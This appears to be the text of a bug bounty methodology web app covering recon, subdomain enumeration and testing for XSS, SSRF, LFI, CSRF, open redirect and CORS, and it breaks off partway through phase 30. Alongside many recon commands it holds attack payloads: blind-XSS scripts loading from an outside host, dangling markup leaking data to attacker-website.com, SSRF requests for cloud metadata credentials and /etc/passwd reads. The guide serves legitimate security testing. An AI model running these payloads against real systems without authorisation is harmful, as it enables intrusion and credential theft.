0 phases0 commands0/0 done0 findings

๐Ÿ›ก The Master Bug Bounty Hunting Framework v20

One unified, battle-tested methodology covering the full bug bounty lifecycle โ€” reconnaissance and attack surface mapping, exploitation of every major vulnerability class, and professional reporting. 80 phases ship with copyable commands, live checklists, editable notes and space to add your own โ€” all saved locally in your browser. v11: per-target mode, finding tracker, report generator, hunting plan, filters & a 3D premium design. v12: animated backgrounds, glassmorphism, header styles, more fonts, background image upload & a quick-tools sidepanel. v13: a hand-drawn โ€œHandwritten Notesโ€ notebook theme for study-journal vibes. v16: the left phase panel now has three sizes โ€” full, a mini number-rail that frees up space, and fully hidden (cycle with H or the โ‡ค header button). v17: bugfix โ€” the auto-saved page snapshot no longer locks in search/collapse/hidden states, so all 80 phases always load, and corrupted snapshots are discarded automatically. v20: Dark Handwritten Notes theme added. v19: seven new deep-dive phases โ€” Business Logic (e-commerce critical), API Deep-Dive, File Upload (supplier panel), Mobile App Testing, Race Conditions, Cache Testing & SSO/OAuth โ€” added as phases 74โ€“80, plus a fix that removes duplicated Flow pills.

01

๐ŸŽฏ Pre-Hunt Preparation

FrameworkNotes

Chaos kills productivity. Before a single request is sent: read the program rules completely, twice, scope your assets, and lock down your toolchain. Set up the BugBounty_Workspace folder structure: Active_Targets / Completed_Targets / Templates / Tools_and_Scripts / Learning_Notes / Reports_Ready. Keep a master target list, daily hunting logs and a note-taking system.

๐Ÿ“‹ Program Research & Tool Prep
๐Ÿ“ Documentation Template (per target)
Target documentation skeleton
Target:  [TARGET_NAME]
Date:    [DATE]

Subdomains Found:
  - subdomain1.target.com [STATUS_CODE]
  - subdomain2.target.com [STATUS_CODE]
Interesting Findings:
  - 

Port Scan Results:
  - Port 80:  HTTP  [Server Info]
  - Port 443: HTTPS [SSL Details]
  - Port 8080: HTTP [Additional Service]
Service Versions:
  - 
Security Observations:
  - 

Technology Stack Template:
  Web Server: [Apache/Nginx/IIS]
  Framework:  [React/Angular/Vue/PHP/etc.]
  CMS:        [WordPress/Drupal/Custom]
  Database:   [MySQL/PostgreSQL/MongoDB]
  CDN:        [Cloudflare/AWS/etc.]
  Security:   [WAF detected/Headers present]
  Interesting Technologies: -
Content discovery + parameter documentation template
Content Discovery:
  Directories Found:
    - /admin   [STATUS] - [DESCRIPTION]
    - /api     [STATUS] - [DESCRIPTION]
    - /backup  [STATUS] - [DESCRIPTION]
  Files of Interest:
    - /robots.txt  - [FINDINGS]
    - /sitemap.xml - [ENDPOINTS]
    - /.env        - [ACCESSIBLE Y/N]
  API Endpoints:
    - /api/v1/users
    - /api/v1/auth

Parameters:
  GET:
    - id:     [INTEGER] - User/object identifier
    - search: [STRING]  - Search functionality
    - redirect: [URL]   - Redirect parameter
  POST:
    - username:   [STRING]
    - password:   [STRING]
    - csrf_token: [TOKEN]
  Interesting:
    - debug:  [BOOLEAN] - Debug mode toggle
    - admin:  [BOOLEAN] - Admin access flag
02

๐Ÿ—“ Daily Workflow & Failure Analysis

Framework

Structure the hunt like a job, not a lottery. Time-block each phase with the pomodoro technique for focus, avoid rabbit holes, and review what worked vs what didn't every week. Use the Target Priority Matrix: high = recently launched features, auth mechanisms, file uploads, API endpoints, admin panels; medium = user input areas, config files, error pages, 3rd-party integrations; low = marketing pages, static docs, already well-tested components.

โฐ Daily Routine
โŒ Common Failure Patterns
Missed obvious subdomains
Ignored certificate transparency
Skipped GitHub recon
Overlooked API docs
Didn't check mobile apps
Tested same injection repeatedly
Ignored encoding/filtering
Missed context-specific payloads
Forgot other HTTP methods
Poor screenshots / no repro steps
No business impact stated
Reporting out-of-scope findings
๐Ÿ” Learning Template
Failure analysis log
Date:             [DATE]
Target:           [TARGET]
What Failed:      [SPECIFIC_FAILURE]
Why It Failed:    [ROOT_CAUSE]
Lesson Learned:   [KEY_INSIGHT]
Prevention:       [HOW_TO_AVOID]
03

๐Ÿ”ญ Passive Recon & OSINT

AutomationNotesChecklist

Recon is the foundation. Never touch the target yet โ€” harvest everything publicly available first. Method: โ‘  gather acquisitions (crunchbase.com) โ†’ โ‘ก identify ASNs โ†’ โ‘ข find seed/root domains (reverse WHOIS via DOMLink, ad/analytics relationships via builtwith.com, Google dorks, Shodan) โ†’ โ‘ฃ subdomain discovery (framework begins here) โ†’ โ‘ค port analysis โ†’ โ‘ฅ GitHub dorking โ†’ โ‘ฆ httprobe โ†’ โ‘ง takeover checks. If amass returns new ASN numbers, go back to step โ‘ก and re-run from there.

๐Ÿ“‹ Passive Recon Checklist
๐Ÿงฐ Tools
subfinder
amass
theHarvester
shodan
censys
dnsx
crt.sh
waybackurls
gau
trufflehog
gitdorker
massdns
Intrigue.io
DOMLink
ASNLookup
Metabigor
04

๐ŸŒ Subdomain Enumeration

Automation

Gather as many subdomains as possible โ€” even ones that aren't active (they come back). Run every source, then merge. Important: configure and provide all necessary API keys for each data source so the tools access their full range of data. Find all subdomains, then always scan all ports.

โš™๏ธ Automated Enumeration
Subfinder (all sources, recursive)
subfinder -d example.com -all -recursive -o subfinder.txt
Assetfinder (subs only)
assetfinder --subs-only example.com > assetfinder.txt
Findomain
findomain -t target.com | tee findomain.txt
Amass passive + active (clean output)
amass enum -passive -d example.com | cut -d']' -f 2 | awk '{print $1}' | sort -u > amass.txt
amass enum -active  -d example.com | cut -d']' -f 2 | awk '{print $1}' | sort -u > amass.txt
Amass brute-force with resolvers
amass enum -brute -d [DOMAIN] -rf resolvers.txt
05

๐Ÿ—‚ Public Sources & GitHub Scraping

Automation

Directly fetch subdomains from public sources with curl โ€” great for manual recon and often reveals hosts missed by automated tools. Scraping sources: infrastructure (Censys, DNSDumpster, Wayback), certificates (crt.sh, CertDB, CertSpotter), search (Google, Yahoo, Baidu), security (VirusTotal, Rapid7 Project Sonar, SecurityTrails).

Certificate Transparency (crt.sh)
curl -s https://crt.sh\?q\=\domain.com\&output\=json | jq -r '.[].name_value' | grep -Po '(\w+\.\w+\.\w+)$' > crtsh.txt
Wayback Machine URLs
curl -s "http://web.archive.org/cdx/search/cdx?url=*.hackerone.com/*&output=text&fl=original&collapse=urlkey" | sort | sed -e 's_https*://__' -e "s/\/.*//" -e 's/:.*//' -e 's/^www\.//' | sort -u > wayback.txt
VirusTotal domain siblings (API key required)
curl -s "https://www.virustotal.com/vtapi/v2/domain/report?apikey=[api-key]&domain=www.nasa.gov" | jq -r '.domain_siblings[]' > virustotal.txt
GitHub subdomain scraping (use token to avoid rate-limit)
github-subdomains -d domain.com -t [github_token/github_api_key]
github-subdomains.py loop (5 runs with sleep)
# run 5 times: 4 with 6s sleep, 1 with 10s sleep
github-search --domain target.com && sleep 6
shosubgo -d target.com     # Shodan parser
๐Ÿ”— Resources
06

๐Ÿงฌ Merge, Permute, Resolve & Brute-force

Automation

Combine everything, kill duplicates, then invent subdomains that don't exist yet (alterx permutations) and only keep the ones that actually resolve (dnsx). ShuffleDNS wraps massdns for fast brute force; tailored wordlists (TomNomNom, cewl) beat massive ones. Remember subdomain alterations: www.target.com โ†’ ww2.target.com.

Merge & deduplicate all subdomain files
cat *.txt | sort -u > final.txt
Permutation + DNS resolution
subfinder -d domain.com | alterx | dnsx
echo domain.com | alterx -enrich | dnsx
echo domain.com | alterx -pp word=/usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt | dnsx
ffuf subdomain brute-force
ffuf -u "https://FUZZ.target.com" -w wordlist.txt -mc 200,301,302
ShuffleDNS (massdns wrapper)
shuffledns -d target.com -w subdomains.txt -r resolvers.txt -o resolved.txt
๐Ÿ”— Resources
07

๐Ÿ•ธ ASN Mapping, IPs & Related Infrastructure

AutomationNotes

Expand the attack surface by mapping the org's digital footprint: related domains, IP ranges and subdomains the company actually owns. If amass returns new ASNs, loop back to ASN enumeration and start over. Manual: bgp.he.net โ†’ ASN โ†’ amass intel.

ASN โ†’ live IPs in CIDR range
asnmap -d domain.com | dnsx -silent -resp-only
Amass intel โ€” org / CIDR / ASN footprint
amass intel -org "nasa"
amass intel -active -cidr 159.69.129.82/32
amass intel -active -asn [asn_no]
Harvest IPs via VirusTotal / OTX / urlscan APIs
curl -s "https://www.virustotal.com/vtapi/v2/domain/report?domain=<DOMAIN>&apikey=[api-key]" | jq -r '.. | .ip_address? // empty' | grep -Eo '([0-9]{1,3}\.){3}[0-9]{1,3}'

curl -s "https://otx.alienvault.com/api/v1/indicators/hostname/<DOMAIN>/url_list?limit=500&page=1" | jq -r '.url_list[]?.result?.urlworker?.ip // empty' | grep -Eo '([0-9]{1,3}\.){3}[0-9]{1,3}'

curl -s "https://urlscan.io/api/v1/search/?q=domain:<DOMAIN>&size=10000" | jq -r '.results[]?.page?.ip // empty' | grep -Eo '([0-9]{1,3}\.){3}[0-9]{1,3}'
Extract IPs from amass / masscan output + Shodan cert search
cat domains.txt | cut -d']' -f2 | awk '{print $2}' | tr ',' '\n' | sort -u > amass.txt
grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" input.txt | sort -u

shodan search Ssl.cert.subject.CN:"<DOMAIN>" 200 --fields ip_str | httpx-toolkit -sc -title -server -td
08

โšก Live Hosts & Visual Recon

AutomationChecklist

Filter down to live, accessible hosts with httpx โ€” note that httpx targets only default ports by default, so always specify the extra frequently-used ports. 200 threads massively speed up large lists. Then take screenshots with Aquatone to spot login pages, admin panels and staging environments at a glance.

Probe live hosts on common ports
cat subdomain.txt | httpx-toolkit -ports 80,443,8080,8000,8888 -threads 200 > subdomains_alive.txt
Aquatone visual recon
cat hosts.txt | aquatone
cat hosts.txt | aquatone -ports 80,443,8000,8080,8443
cat hosts.txt | aquatone -ports 80,81,443,591,2082,2087,2095,2096,3000,8000,8001,8008,8080,8083,8443,8834,8888
๐Ÿ“‹ Active Recon Checklist
๐Ÿงฐ Tools
nmap
masscan
httpx
ffuf
gobuster
dirsearch
aquatone
eyewitness
nuclei
subjack
09

๐Ÿ”— URL & Endpoint Discovery

Automation

With live subdomains in hand, collect URLs and endpoints from active (katana, hakrawler) and passive (gau, urlfinder) sources, then dedupe. Focus on URLs with extensions that take parameters (.php .asp .aspx .jsp with =) โ€” those are your testing targets.

Active crawling
katana -u livesubdomains.txt -d 2 -o urls.txt
cat urls.txt | hakrawler -u > urls3.txt
Passive crawling
cat livesubdomains.txt | gau | sort -u > urls2.txt
urlfinder -d tesla.com | sort -u > urls3.txt
echo example.com | gau --mc 200 | urldedupe > urls.txt
Filter to dynamic endpoints (take parameters)
cat urls.txt | grep -E ".php|.asp|.aspx|.jspx|.jsp" | grep '=' | sort > output.txt
cat output.txt | sed 's/=.*/=/' > final.txt
gf pattern filtering (XSS, SQLi, LFI, SSRF, redirect...)
cat allurls.txt | gf sqli
cat allurls.txt | gf xss
cat allurls.txt | gf lfi
cat allurls.txt | gf redirect
โšก Nuclei โ€” automate vulnerability discovery

Nuclei is a template-based scanner for known misconfigurations, CVEs and exposures. Use -bs (batch size = how many templates run at once) and -c (concurrency = how many domains scanned simultaneously) to massively speed up large-scope work.

Nuclei single target / batch + template tuning
nuclei -u https://target.com -bs 50 -c 30
nuclei -l live_domains.txt -bs 50 -c 30
๐Ÿ”— Resources
10

๐ŸŽ Hidden Params & Sensitive Files

Automation

Undocumented GET/POST parameters can unlock injections, IDORs or business-logic bypasses โ€” discover them with arjun (or lostfuzzer). Backups/config/log files are a goldmine for information disclosure.

arjun โ€” passive parameter discovery
arjun -u https://site.com/endpoint.php -oT arjun_output.txt -t 10 --rate-limit 10 --passive -m GET,POST --headers "User-Agent: Mozilla/5.0"
arjun โ€” active with wordlist
arjun -u https://site.com/endpoint.php -oT arjun_output.txt -m GET,POST -w /usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt -t 10 --rate-limit 10 --headers "User-Agent: Mozilla/5.0"
Sensitive file extension filter
cat allurls.txt | grep -E "\.xls|\.xml|\.xlsx|\.json|\.pdf|\.sql|\.doc|\.docx|\.pptx|\.txt|\.zip|\.tar\.gz|\.tgz|\.bak|\.7z|\.rar|\.log|\.cache|\.secret|\.db|\.backup|\.yml|\.gz|\.config|\.csv|\.yaml|\.md|\.md5"

cat allurls.txt | grep -E "\.(xls|xml|xlsx|json|pdf|sql|doc|docx|pptx|txt|zip|tar\.gz|tgz|bak|7z|rar|log|cache|secret|db|backup|yml|gz|config|csv|yaml|md|md5|tar|xz|7zip|p12|pem|key|crt|csr|sh|pl|py|java|class|jar|war|ear|sqlitedb|sqlite3|dbf|db3|accdb|mdb|sqlcipher|gitignore|env|ini|conf|properties|plist|cfg)$"
Google dork for sensitive files
site:*.example.com (ext:doc OR ext:docx OR ext:odt OR ext:pdf OR ext:rtf OR ext:ppt OR ext:pptx OR ext:csv OR ext:xls OR ext:xlsx OR ext:txt OR ext:xml OR ext:json OR ext:zip OR ext:rar OR ext:md OR ext:log OR ext:bak OR ext:conf OR ext:sql)
11

๐Ÿšช Directory & Content Brute-forcing

Automation

Reveal hidden directories, admin panels, backups and dev files that aren't linked anywhere. Recursion + extension probing catches the stuff that directory listings miss. The -ac auto-calibration flag keeps false positives down.

Dirsearch (quick)
dirsearch -u https://example.com --full-url --deep-recursive -r
Dirsearch (deep, aggressive, throttled)
dirsearch -u https://example.com -e php,cgi,htm,html,shtm,shtml,js,txt,bak,zip,old,conf,log,pl,asp,aspx,jsp,sql,db,sqlite,mdb,tar,gz,7z,rar,json,xml,yml,yaml,ini,java,py,rb,php3,php4,php5 --random-agent --recursive -R 3 -t 20 --exclude-status=404 --follow-redirects --delay=0.1
FFUF (recursive, extensions, headers, rate-limited)
ffuf -w seclists/Discovery/Web-Content/directory-list-2.3-big.txt -u https://example.com/FUZZ \
  -fc 400,401,402,403,404,429,500,501,502,503 -recursion -recursion-depth 2 \
  -e .html,.php,.txt,.pdf,.js,.css,.zip,.bak,.old,.log,.json,.xml,.config,.env,.asp,.aspx,.jsp,.gz,.tar,.sql,.db \
  -ac -c -t 100 -r -o results.json \
  -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0" \
  -H "X-Forwarded-For: 127.0.0.1" -H "X-Originating-IP: 127.0.0.1" -H "X-Forwarded-Host: localhost"
FFUF (clean, focused)
ffuf -w seclists/Discovery/Web-Content/directory-list-2.3-big.txt -u https://ens.domains/FUZZ \
  -fc 401,403,404 -recursion -recursion-depth 2 -e .html,.php,.txt,.pdf \
  -ac -H "User-Agent: Mozilla/5.0" -r -t 60 --rate 100 -c
๐Ÿ”— Resources
12

๐Ÿ“œ JS Analysis & Content-Type Filtering

Automation

JS files leak hidden API endpoints, parameter names, hardcoded credentials, tokens, keys, dev comments and debug info โ€” an attack surface invisible in the frontend. Filter by MIME type to focus on JS/HTML pages worth analyzing.

JS file hunting โ†’ nuclei exposures
echo example.com | katana -d 3 | grep -E "\.js$" | nuclei -t /home/coffinxp/nuclei-templates/http/exposures/ -c 30
echo domain.com | katana -ps -d 2 | grep -E "\.js$" | nuclei -t /nuclei-templates/http/exposures/ -c 30
cat alljs.txt | nuclei -t /home/coffinxp/nuclei-templates/http/exposures/
Grep secrets in JS files
cat jsfiles.txt | grep -r -E "aws_access_key|aws_secret_key|api key|passwd|pwd|heroku|slack|firebase|swagger|aws key|password|ftp password|jdbc|db|sql|config|admin|json|gcp|htaccess|.env|ssh key|.git|access key|secret token|oauth_token|oauth_token_secret"
Only fetch live JS โ†’ grep secrets
cat allurls.txt | grep -E "\.js$" | httpx-toolkit -mc 200 -content-type \
  | grep -E "application/javascript|text/javascript" | cut -d' ' -f1 \
  | xargs -I% curl -s % | grep -E "(API_KEY|api_key|apikey|secret|token|password)"
HTML content-type filtering
echo domain | gau | grep -Eo '(\/[^\/]+)\.(php|asp|aspx|jsp|jsf|cfm|pl|perl|cgi|htm|html)$' \
  | httpx -status-code -mc 200 -content-type | grep -E 'text/html|application/xhtml+xml'
JS content-type filtering
echo domain | gau | grep '\.js$' | httpx -status-code -mc 200 -content-type | grep 'application/javascript'
13

๐ŸŸฆ WordPress & CMS Testing

Automation

If the target runs WordPress, enumerate users, plugins, themes and version details to surface outdated components and vulnerable plugins.

WPScan full enumeration
wpscan --url https://site.com --disable-tls-checks --api-token <here> \
  -e at -e ap -e u --enumerate ap --plugins-detection aggressive --force
๐Ÿ”‘ Flag reference
-e at : enumerate all themes
-e ap : enumerate all plugins
-e u : enumerate users
--plugins-detection aggressive
--force : scan even if WP not detected
14

๐Ÿ”‘ Authentication & Session Management

ChecklistSignals

Logins are the front door. Map how sessions are established, whether OAuth/SSO is used, and hunt every bypass. The reference charts value login auth bypass at $850, 2FA/MFA bypass $500, SSO bypass $750, default admin creds $700.

๐Ÿ” Login & Password Checklist
๐Ÿช Session Management Checklist
๐Ÿงฐ Tools
burpsuite
hydra
ffuf
jwt_tool
sqlmap
saml-raider
oauthhammer
sequencer
15

๐Ÿ›ก Authorization, IDOR & Access Control

ChecklistSignals

Broken object-level authorization (IDOR) is the modern jackpot. Ask per page: what part of CRUD is this? which HTTP verbs work? what parameters? Reference values: non-admin R/W $450, R only $300; admin R/W $800, R only $600; IDOR R/W $600, R only $500.

๐Ÿšฆ IDOR & Access Control Checklist
๐Ÿงฐ Tools
burpsuite (Autorize, AuthMatrix)
ffuf
arjun
postman
nuclei
16

๐Ÿ’‰ SQL & NoSQL Injection

AutomationChecklist

Still one of the most dangerous, most impactful vulns. Reference: full SQLi $3000 (must show database info), partial $1500. Run sqlmap and Burp on every single parameter. Prioritize targets using technologies commonly vulnerable to injection (asp/php/jsp).

Find SQL-tech targets (batch + single domain)
subfinder -dL subdomains.txt -all -silent | httpx-toolkit -td -sc -silent | grep -Ei 'asp|php|jsp|jspx|aspx'
subfinder -d http://example.com -all -silent | httpx-toolkit -td -sc -silent | grep -Ei 'asp|php|jsp|jspx|aspx'
Find dynamic SQL endpoints
echo http://site.com | gau | uro | grep -E ".php|.asp|.aspx|.jspx|.jsp" | grep -E '\?[^=]+=.+$'
๐Ÿ“‹ SQLi Checklist
๐Ÿงฐ Tools
sqlmap
ghauri
nosqlmap
burpsuite
17

โŒจ๏ธ Command Injection & SSTI

ChecklistMethodology

SSTI detection: reflected input โ†’ no XSS output โ†’ try to break out with templating syntax (?greeting=data.username}}<tag>), or check if a math expression is evaluated in the response (?greeting=${7*7} โ†’ response contains 49). Identify the engine with the PortSwigger template decision tree, then exploit.

๐Ÿ“‹ Command & Code Injection Checklist
๐Ÿงช SSTI exploitation flow (deep dive)
  1. Identify the vuln: reflected input with no XSS (no output / encoded tags / error message) โ†’ break out with templating syntax. No change = wrong syntax or not vulnerable.
  2. Detect engine: ?greeting=${7*7} โ†’ response shows 49; use https://portswigger.net/web-security/images/template-decision-tree.png.
  3. Exploit with engine-specific RCE payloads.
๐Ÿงฐ Tools
commix
tplmap
interactsh
nuclei
18

๐Ÿ•ท Cross-Site Scripting (XSS)

AutomationMethodologyChecklist

Three types: Reflected (script from current request), Stored (from the DB), DOM (flaw in client-side code โ€” take user-controlled source to a sink). Reference: reflected XSS $330 (+ web cache poisoning = $$$), DOM XSS $775, blind XSS $880. When JS eval() evaluates a JSON object: \"-alert(1)}//. Angular: look for ng-app โ†’ {{$on.constructor('alert(1)')()}}.

โšก One-liner pipelines
gau โ†’ gf xss โ†’ Gxss โ†’ dalfox
echo "target.com" | gau | gf xss | uro | httpx -silent | Gxss -p Rxss | dalfox
qsreplace + xsschecker
echo "example.com" | gau | qsreplace '<sCript>confirm(1)</sCript>' | xsschecker -match '<sCript>confirm(1)</sCript>' -vuln
Gxss / kxss pipeline + clean output
echo https://example.com/ | gau | gf xss | uro | Gxss | kxss | tee xss_output.txt
cat xss_output.txt | grep -oP '^URL: \K\S+' | sed 's/=.*/=/' | sort -u > final.txt
XSS via ffuf request mode
ffuf -request xss -request-proto https -w /root/wordlists/xss-payloads.txt -c -mr "<script>alert('XSS')</script>"
Blind XSS on auth pages + bxss
cat urls.txt | grep -E "(login|signup|register|forgot|password|reset)" | httpx -silent | nuclei -t nuclei-templates/vulnerabilities/xss/ -severity critical,high

subfinder -d example.com | gau | bxss -payload '">"<script src=https://xss.report/c/coffinxp></script>' -header "X-Forwarded-For"
subfinder -d example.com | gau | grep "&" | bxss -appendMode -payload '">"<script src=https://xss.report/c/coffinxp></script>' -parameters
cat xss_params.txt | dalfox pipe --blind https://your-collaborator-url --waf-bypass --silence
๐Ÿ“‹ XSS Checklist
๐Ÿงช Testing DOM sinks
  1. HTML sinks (easy): send an MD5 sum through the source โ†’ search HTML in DevTools (Ctrl+F) for it โ†’ refine payload.
  2. JS execution sinks (hard): search JS for referenced sources (Ctrl+Shift+F) โ†’ set breakpoints and follow the source's value โ†’ if passed to a variable, trace it โ†’ if it reaches a sink, refine payload.
๐ŸŽฏ Common DOM sources โ†’ sinks
sources: window.location ยท location.search ยท location.hash ยท document.URL ยท document.referrer ยท window.name ยท localStorage ยท sessionStorage
sinks: document.write ยท innerHTML ยท outerHTML ยท insertAdjacentHTML ยท onevent ยท jQuery .html() .attr() .append() ยท eval ยท setTimeout ยท $.parseHTML
๐Ÿ›ก Bypassing CSP
Dangling markup injection (exfiltrate CSRF token past CSP)
# Input value renders inside: <input ... value="[PAYLOAD]"/>
# Set payload as a GET param so its value is [PAYLOAD]:
> "><img src='//attacker-website.com?
# Result:  <input ... value=""><img src='//attacker-website.com?[SENSITIVE DATA]"/>
๐Ÿ”— Resources
19

๐Ÿ“„ XXE (XML External Entity)

Checklist

XXE via file read of SYSTEM entities, OOB exfiltration, and XML-based uploads. Reference: XXE full $1500, limited $500.

๐Ÿ“‹ XXE Checklist
๐Ÿงฐ Tools
burpsuite
xxeinjector
interactsh
nuclei
20

๐ŸŒ SSRF โ€” Testing & Exploitation

AutomationChecklist

Make the server request internal/external resources โ†’ cloud metadata, internal port scans, even RCE when chained. Reference: SSRF full $1500 (must allow full interaction with an internal app), limited $500 (interaction with internal IP/port).

Find SSRF-prone parameters + webhooks
cat urls.txt | grep -E 'url=|uri=|redirect=|next=|data=|path=|dest=|proxy=|file=|img=|out=|continue=' | sort -u
cat urls.txt | grep -i 'webhook\|callback\|upload\|fetch\|import\|api' | sort -u
cat urls.txt | nuclei -t nuclei-templates/vulnerabilities/ssrf/
Basic SSRF โ†’ local services & cloud metadata
curl "https://target.com/page?url=http://127.0.0.1:80/"
curl "https://target.com/page?url=http://localhost:8080"
curl "https://target.com/api?endpoint=http://169.254.169.254/latest/meta-data/"
curl "https://target.com/api?endpoint=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
Bypass filters with alternative IP formats
http://127.0.0.1%23.google.com
http://127.1
http://[::1]/
http://0x7f000001
http://017700000001
# DNS rebinding / callback for blind SSRF:
curl "https://target.com/page?url=http://yourdomain.burpcollaborator.net"
๐Ÿ“‹ SSRF Checklist
๐Ÿ”— Resources
21

๐Ÿ–ฑ CSRF & Clickjacking

ChecklistMethodologySignals

CSRF requires 3 conditions: โ‘  a relevant action โ‘ก cookie-based session handling (no Authorization headers) โ‘ข no unpredictable request parameters (CSRF token / must-know password). Signs: tokens don't appear invalidated when sent or on logout; if CSRF exists, ask โ€” can this endpoint chain to an open redirect? Reference: CSRF high $500, low $400.

๐Ÿ“‹ CSRF & Clickjacking Checklist
๐Ÿงช Manual CSRF PoC (custom)
CSRF PoC HTML
<html>
  <body>
    <form action="https://vulnerable-website.com/email/change" method="POST">
      <input type="hidden" name="email" value="pwned@evil-user.net" />
    </form>
    <script>document.forms[0].submit();</script>
  </body>
</html>
๐Ÿ”ง Burp generation
  1. Select the targeted request โ†’ Right-click โ†’ Engagement tools โ†’ Generate CSRF PoC.
  2. Customize the generated PoC as needed โ†’ host it (e.g. AWS S3).
22

โ†ฉ Open Redirect

AutomationChecklist

Redirect users to malicious sites from trusted domains โ€” phishing, session hijacking, and a prime chaining candidate (Open Redirect + OAuth = token theft). Ask: can we redirect to different paths / subdomains / domains?

Harvest redirect parameters
cat final.txt | grep -Pi "returnUrl=|continue=|dest=|destination=|forward=|go=|goto=|login\?to=|login_url=|logout=|next=|next_page=|out=|g=|redir=|redirect=|redirect_to=|redirect_uri=|redirect_url=|return=|returnTo=|return_path=|return_to=|return_url=|rurl=|site=|target=|to=|uri=|url=|qurl=|rit_url=|jump=|jump_url=|originUrl=|origin=|Url=|desturl=|u=|Redirect=|location=|ReturnUrl=|redirect_url=|redirect_to=|forward_to=|forward_url=|destination_url=|jump_to=|go_to=|goto_url=|target_url=|redirect_link=" | tee redirect_params.txt

final.txt | gf redirect | uro | sort -u | tee redirect_params.txt
Auto-verify redirects to evil.com
cat redirect_params.txt | qsreplace "https://evil.com" | httpx-toolkit -silent -fr -mr "evil.com"

subfinder -d vulnweb.com -all | httpx-toolkit -silent | gau | gf redirect | uro | qsreplace "https://evil.com" | httpx-toolkit -silent -fr -mr "evil.com"
Payload-sweep (multi-payload, multi-URL)
cat redirect_params.txt | while read url; do
  cat loxs/payloads/or.txt | while read payload; do
    echo "$url" | qsreplace "$payload"
  done
done | httpx-toolkit -silent -fr -mr "google.com"
๐Ÿ“‹ Open Redirect Checklist
23

๐Ÿ“ข Information Disclosure & Git Exposure

AutomationChecklist

Stack traces, internal IPs, version banners, leaked keys and exposed .git/ all leak attack surface. Reference bounty chart: leaked high-priv creds $700, API keys $500, sensitive client info $300, sensitive dir/file $300, source code $150, software architecture $150, network topology $150.

Detect exposed .git/ directories
cat domains.txt | grep "SUCCESS" | gf urls | httpx-toolkit -sc -server -cl -path "/.git/" -mc 200 -location -ms "Index of" -probe
๐Ÿ“‹ Sensitive Data Exposure Checklist
๐Ÿงฐ Tools
trufflehog
nuclei
gf
js-beautify
sourcemapper
24

๐Ÿ“ File Upload & Path Traversal / LFI

AutomationChecklist

Upload โ†’ execution is RCE-lite. LFI โ†’ RCE via log poisoning. Reference: unrestricted file upload $180, file inclusion/path traversal $850.

Automated LFI discovery (nuclei + gf pipeline)
nuclei -l subs.txt -t /root/nuclei-templates/http/vulnerabilities/generic/generic-linux-lfi.yaml -c 30

echo "https://example.com/" | gau | gf lfi | uro | sed 's/=.*/=/' | qsreplace "FUZZ" | sort -u \
  | xargs -I{} ffuf -u {} -w payloads/lfi.txt -c -mr "root:(x|\*|\$[^\:]*):0:0:" -v

gau target.com | gf lfi | qsreplace "/etc/passwd" \
  | xargs -I% -P 25 sh -c 'curl -s "%" 2>&1 | grep -q "root:x" && echo "VULN! %"'
httpx path-scan + ffuf request-mode LFI
echo 'https://example.com/index.php?page=' | httpx-toolkit -paths payloads/lfi.txt -threads 50 -random-agent -mc 200 -mr "root:(x|\*|\$[^\:]*):0:0:"

ffuf -request lfi -request-proto https -w /root/wordlists/offensive\ payloads/LFI\ payload.txt -c -mr "root:"
๐Ÿ”‘ Key components
gf lfi โ†’ filter LFI-prone URLs
qsreplace "FUZZ" โ†’ swap values
ffuf -mr "root:..." โ†’ match /etc/passwd format
๐Ÿ“‹ Upload & Traversal Checklist
25

๐Ÿง  Business Logic Flaws

Checklist

Think like the application โ€” "where would I screw up?" Money and privilege flaws are business-critical (often re-bug bounty gold). Race conditions need Turbo Intruder.

๐Ÿ“‹ Logic Flaw Checklist
๐Ÿงฐ Tools
turbo intruder (race conditions)
burpsuite
custom scripts
26

๐Ÿ”Œ API & GraphQL Security

Checklist

APIs multiply your attack surface. Test BOLA/BFLA, old versions, method confusion, and GraphQL specifically (introspection, batching, field suggestions).

๐Ÿ“‹ REST & GraphQL Checklist
๐Ÿงฐ Tools
postman
burpsuite
arjun
kiterunner
nuclei
graphql-cop
clairvoyance
27

๐ŸŒ CORS & Security Headers

AutomationChecklist

Misconfigured CORS lets unauthorized origins read sensitive data / act across origins โ†’ account takeover or data theft. Then verify with a CORS exploit PoC (CorsExploit.html). CORS misconfig + XSS = account takeover (chaining).

Manual CORS checks
curl -H "Origin: http://example.com" -I https://domain.com/wp-json/
curl -H "Origin: http://example.com" -I https://domain.com/wp-json/ \
  | grep -i -e "access-control-allow-origin" -e "access-control-allow-methods" -e "access-control-allow-credentials"
Automated CORS scanning
cat example.coms.txt | httpx -silent | nuclei -t nuclei-templates/vulnerabilities/cors/ -o cors_results.txt

python3 corsy.py -i subdomains_alive.txt -t 10 --headers "User-Agent: GoogleBot\nCookie: SESSION=Hacked"
python3 CORScanner.py -u https://example.com -d -t 10
๐Ÿ“‹ CORS & Header Checklist
๐Ÿ”— Resources
securityheaders.com
28

๐ŸŒŽ Network-Level Attacks & Port Scanning

AutomationChecklist

Find services the web UI never shows. Recommended flow: masscan (quick, needs IP list) โ†’ dnmasscan (resolves domains โ†’ passes IPs) โ†’ nmap deep dive on open ports โ†’ brutespray for default creds.

Naabu + nmap service scan
naabu -list ip.txt -c 50 -nmap-cli 'nmap -sV -SC' -o naabu-full.txt
Nmap full scan
nmap -p- --min-rate 1000 -T4 -A target.com -oA fullscan
Masscan for speed
masscan -p0-65535 target.com --rate 100000 -oG masscan-results.txt
๐Ÿ“‹ Network Attack Checklist
๐Ÿงฐ Tools
masscan (guide)
dnmasscan
nmap
brutespray
metasploit
bettercap
wireshark
sslscan
testssl.sh
nikto
29

โ˜๏ธ Cloud & Infrastructure

ChecklistMethodology

Misconfigured cloud storage is a classic P1. Reference: AWS misconfigs $450 (S3 bucket plundering).

๐Ÿ“‹ Cloud Misconfiguration Checklist
๐Ÿชฃ AWS S3 plundering (deep dive)
  1. Find an open S3 bucket (dorks: site:s3.amazonaws.com "company").
  2. Search for sql, sql.gz, backup.zip, backup.gz, backup.tar, backup.tar.gz + any valuable files.
  3. Automate with S3Scanner: git clone git@github.com:sa7mon/S3Scanner.git โ†’ cd S3Scanner โ†’ pip3 install -r requirements.txt โ†’ python3 -m S3Scanner.
๐Ÿงฐ Tools
aws-cli
trufflehog
cloudbrute
s3scanner
nuclei
trivy
prowler
30

๐Ÿ“ฑ Mobile App Security

Checklist
